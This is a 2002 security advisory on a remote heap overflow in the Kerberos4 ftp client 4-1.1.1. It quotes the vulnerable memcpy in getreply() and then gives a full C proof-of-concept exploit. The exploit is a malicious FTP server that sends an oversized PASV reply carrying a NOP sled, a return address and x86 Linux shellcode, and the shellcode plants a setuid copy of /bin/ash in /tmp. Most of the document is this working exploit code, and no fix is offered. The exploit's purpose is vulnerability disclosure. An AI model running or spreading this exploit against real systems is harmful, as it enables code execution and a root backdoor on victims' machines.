26th Sep 2002 [SBWID-5311]
COMMAND
Kerberos4 ftp client remote heap overflow
SYSTEMS AFFECTED
Kerberos4 ftp client 4-1.1.1
PROBLEM
Marcell Fodor [http://mantra.freeweb.hu/] advisory :
Kerberos4 ftp client is a simple ftp client, with the extensions
defined by RFC 2228. When authentication fails with AUTH, client will
use USER/PASS command as other ones.
A bug in the code may cause a heap overflow which leads to remote code
execution. The overflow occurs when the server responds to client's
request for passive mode. If the server responds with a long reply in
the place of IP and port, pasv buffer will overflow.
see original code below :
krb4-1.1.1/appl/ftp/ftp/ftp.c
----------------
int
getreply (int expecteof)
{
.
.
.
if (code == 227 || code == 229) {
char *p, *q;
pasv[0] = 0;
p = strchr (reply_string, '(');
if (p) {
p++;
q = strchr(p, ')');
if(q){
memcpy (pasv, p, q - p); // <- heap overflow
pasv[q - p] = 0;
}
}
}
-------------
client: PASV
server: 227 food_for_the_poor (AAAAAAA...1323bytes...AAAAAA)
Exploit :
=======
/*
Proof Of Concept exploit against Kerberos4-1.1.1 ftp client
23/04/2002
egg: x86 linux, 95 bytes
cp /bin/ash /tmp/ash
chmod 4755 /tmp/ash
Marcell Fodor
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#define HIT "\xa0\x01\x07\x08"
#define SERVERPORT (3568)
#define SEND(a) write(sock, a, strlen(a))
#define NOP 0x90
#define _BANNER "220 evil ready\n"
#define _USER "331 user oke\n"
#define _PASS "230 pass oke\n"
#define _SYST "215 evil\n"
#define _GO "530 go on\n"
#define _END "530 look what i did to you\n"
static unsigned char egg[] =
"\x68\x2f\x62\x69\x6e\x5f\x6a\x70\x58\x66\x50\x66\x68\x2f\x63\x57"
"\x54\x5b\x31\xf6\x56\x54\x5a\x68\x2f\x61\x73\x68\x59\x51\x57\x54"
"\x5d\x56\x51\x68\x2f\x74\x6d\x70\x54\x59\x56\x51\x55\x53\x54\x51"
"\x5d\x59\xb0\x02\xcd\x80\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1a"
"\x31\xdb\x4b\x56\x54\x59\x31\xd2\x6a\x07\x58\xcd\x80\x31\xc9\x66"
"\xb9\x6d\x09\x55\x5b\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80\x00";
int
main(int argc, char *argv[])
{
int c, sock, ret;
int e = sizeof(struct sockaddr_in);
struct sockaddr_in l, r;
int serverport = SERVERPORT;
l.sin_family = AF_INET;
l.sin_port = htons(serverport);
l.sin_addr.s_addr = INADDR_ANY;
bzero(&(l.sin_zero), 8);
c = socket(AF_INET, SOCK_STREAM, 0);
ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));
if (ret)
{
printf("bind failed\n");
_exit(0);
}
ret = listen(c, 1);
if (ret)
{
printf("listen failed\n");
_exit(0);
}
printf("Evil ftpd accepting connections on port:%d\n", serverport);
while ((sock = accept(c, (struct sockaddr *) &r, &e)))
{
if (!fork())
{
int ret, ok = 0;
char buffer[8192];
SEND(_BANNER);
do
{
memset(buffer, 0, sizeof(buffer));
ret = read(sock, buffer, sizeof(buffer) - 1);
if (ret < 1) _exit(0); /* hmm..?$#%! */
if (!strncmp(buffer, "USER", 4)) SEND(_USER);
else if (!strncmp(buffer, "PASS", 4)) SEND(_PASS);
else if (!strncmp(buffer, "SYST", 4)) SEND(_SYST);
else if (!strncmp(buffer, "PASV", 4)) ok = 1;
else if (!strncmp(buffer, "EPRT", 4)) ok = 1;
else SEND(_GO);
} while(!ok);
memset(buffer, 0, sizeof(buffer));
strcpy(buffer, "227 (");
memset(buffer + strlen(buffer), NOP, 1319);
strcat(buffer, HIT);
strcat(buffer, ")\n");
memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg));
SEND(buffer);
SEND(_END);
close(sock);
_exit(0);
}
close(sock);
}
_exit(0);
}
SOLUTION
??